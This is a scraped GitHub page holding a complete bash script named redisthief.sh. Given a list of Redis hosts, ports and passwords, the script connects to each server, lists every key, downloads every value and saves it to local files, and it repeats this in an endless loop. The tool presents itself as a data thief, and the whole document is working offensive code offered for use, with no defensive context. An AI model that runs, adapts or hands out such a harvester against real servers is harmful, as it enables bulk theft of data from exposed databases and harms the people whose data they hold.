-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathredisthief.sh
executable file
·190 lines (167 loc) · 5.73 KB
/
redisthief.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/bin/bash
IS_DEBUG="0";
IS_QUIET="0";
REDIS_BIN="redis-cli";
REDIS_TARGETS="";
OUTPUT_DIRECTORY="$PWD";
GRAB_DELAY="10";
NO_DOUBLE_DOWNLOAD="0";
OUTPUT_TO_STOUT_ONLY="0";
OUTPUT_TO_STOUT_ALSO="0";
function out() {
if [ "$IS_QUIET" != "1" ] ;then
echo "$@";
fi
}
function debugout () {
if [ "$IS_DEBUG" == "1" ]; then
echo "$@"
fi
}
function show_usage() {
echo "usage: redisthief.sh [arguments]";
echo "";
echo "required arguments:";
echo " -t the redis target(s) in host:port:password format. port and password are optional. can be in csv format but cannot have any spaces";
echo "";
echo "optional arguments:";
echo " -r the name of the redis client executable (default: redis-cli)";
echo " -o the path to the output directory (default: current directory)";
echo " -d the delay length in seconds between each attempt to grab keys (default: 10)";
echo "";
echo "optional flags:";
echo " -s output all the key/value data to stdout also";
echo " -S output all the key/value data to stdout only";
echo " -N disables double downloading of a key's value. It set, data will be saved under DATA_DIR/KEY_NAME/value.txt instead of DATA_DIR/KEY_NAME/YYYY-MM-DD_hh-mm-ss.value.txt";
echo " -D enable debug messsages";
echo " -q enable quiet mode";
echo " -h show this message";
echo "";
echo "examples:"
echo " $ redisthief.sh -t 10.0.0.1:6379 -o /path/to/datadirectory"
echo " $ redisthief.sh -t 10.0.0.1:6379,somerediserver.dev,192.168.1.1:6666:SomePass -D "
}
function check_redis_cli() {
if ! [ -x "$(command -v $REDIS_BIN)" ]; then
echo "[!] no redis client found for: $REDIS_BIN. please install the redis-cli client" >&2;
exit 1
fi
}
function prep_output_directory() {
if [ "$OUTPUT_TO_STOUT_ONLY" != "1" ]; then
if [ ! -d "$OUTPUT_DIRECTORY" ]; then
echo "[*] output directory does not exist" >&2;
echo "[*] creating: $OUTPUT_DIRECTORY" >&2;
mkdir -p "$OUTPUT_DIRECTORY";
fi
fi
}
function perform_theivery() {
out "[*] Performing thievery" >&2;
for target in $(echo -n "$REDIS_TARGETS" | sed 's/,/ /g'); do
host="$(echo -n $target | cut -d ':' -f1)";
port="$(echo -n $target | cut -d ':' -f2)";
password="$(echo -n $target | cut -d ':' -f3-)";
if [ "$port" == "$host" ]; then
port="6379"
fi
if [ "$password" == "$host" ]; then
password=""
fi
debugout "[+] targeting: ${host}:${port}" >&2;
connect="$REDIS_BIN -h ${host} -p ${port}"
if [ ${#password} -gt 2 ]; then
connect="$REDIS_BIN -h ${host} -p ${port} -a '${password}'"
fi
date=$(date '+%Y-%m-%d_%H_%M_%S');
keys="$($connect --scan --pattern '*')";
if [ ${#keys} -gt 2 ]; then
for k in $(echo -n $keys); do
value=""
if [ "$OUTPUT_TO_STOUT_ONLY" == "1" ]; then
out "[+] found key for ${host}:${port}: $k" >&2;
elif [ -d "${OUTPUT_DIRECTORY}/${k}" ]; then
debugout "[+] found old key for ${host}:${port}: $k" >&2;
else
echo "[+] found new key for ${host}:${port}: $k" >&2;
fi
debugout "[+] downloading: $connect GET ${k}" >&2;
value="$($connect GET ${k})";
if [ "$OUTPUT_TO_STOUT_ONLY" != "1" ]; then
if [ ! -d "${OUTPUT_DIRECTORY}/${k}" ]; then
debugout "[+] creating: ${OUTPUT_DIRECTORY}/${k}" >&2;
mkdir -p "${OUTPUT_DIRECTORY}/${k}";
fi
if [ "$NO_DOUBLE_DOWNLOAD" != "1" ]; then
debugout "[+] saving $k to ${OUTPUT_DIRECTORY}/${k}/${date}.${host}.${port}.value.txt" >&2;
echo "$value" > "${OUTPUT_DIRECTORY}/${k}/${date}.${host}.${port}.value.txt"
else
if [ ! -f "${OUTPUT_DIRECTORY}/${k}/${host}.${port}.value.txt" ]; then
debugout "[+] saving $k to ${OUTPUT_DIRECTORY}/${k}/${host}.${port}.value.txt" >&2;
echo "$value" > "${OUTPUT_DIRECTORY}/${k}/${host}.${port}.value.txt"
else
debugout "[+] skipping duplicate $k" >&2;
fi
fi
if [ "$OUTPUT_TO_STOUT_ALSO" == "1" ]; then
echo "HOST=${host}:PORT=${port}:KEY=${k}:VALUE=${value}";
fi
else
echo "HOST=${host}:PORT=${port}:KEY=${k}:VALUE=${value}";
fi
done
else
debugout "[+] no keys found for: ${host}:${port}" >&2;
fi
done
}
while getopts 't:o:r:d:NhSsDq' OPTION; do
case "$OPTION" in
r)
REDIS_BIN="$OPTARG"
;;
o)
OUTPUT_DIRECTORY="$OPTARG"
;;
t)
REDIS_TARGETS="$OPTARG"
;;
d)
GRAB_DELAY="$OPTARG"
;;
N)
NO_DOUBLE_DOWNLOAD="1"
;;
s)
OUTPUT_TO_STOUT_ALSO="1"
;;
S)
OUTPUT_TO_STOUT_ONLY="1"
;;
D)
IS_DEBUG="1"
;;
q)
IS_QUIET="1"
;;
h)
show_usage
exit 1
;;
?)
show_usage
exit 1
;;
esac
done
shift "$(($OPTIND -1))"
if [ ${#REDIS_TARGETS} -lt 3 ]; then
echo "[!] no redis targets provided. quitting" >&2;
exit 1;
fi
check_redis_cli
prep_output_directory
while true; do
perform_theivery;
sleep ${GRAB_DELAY}s;
done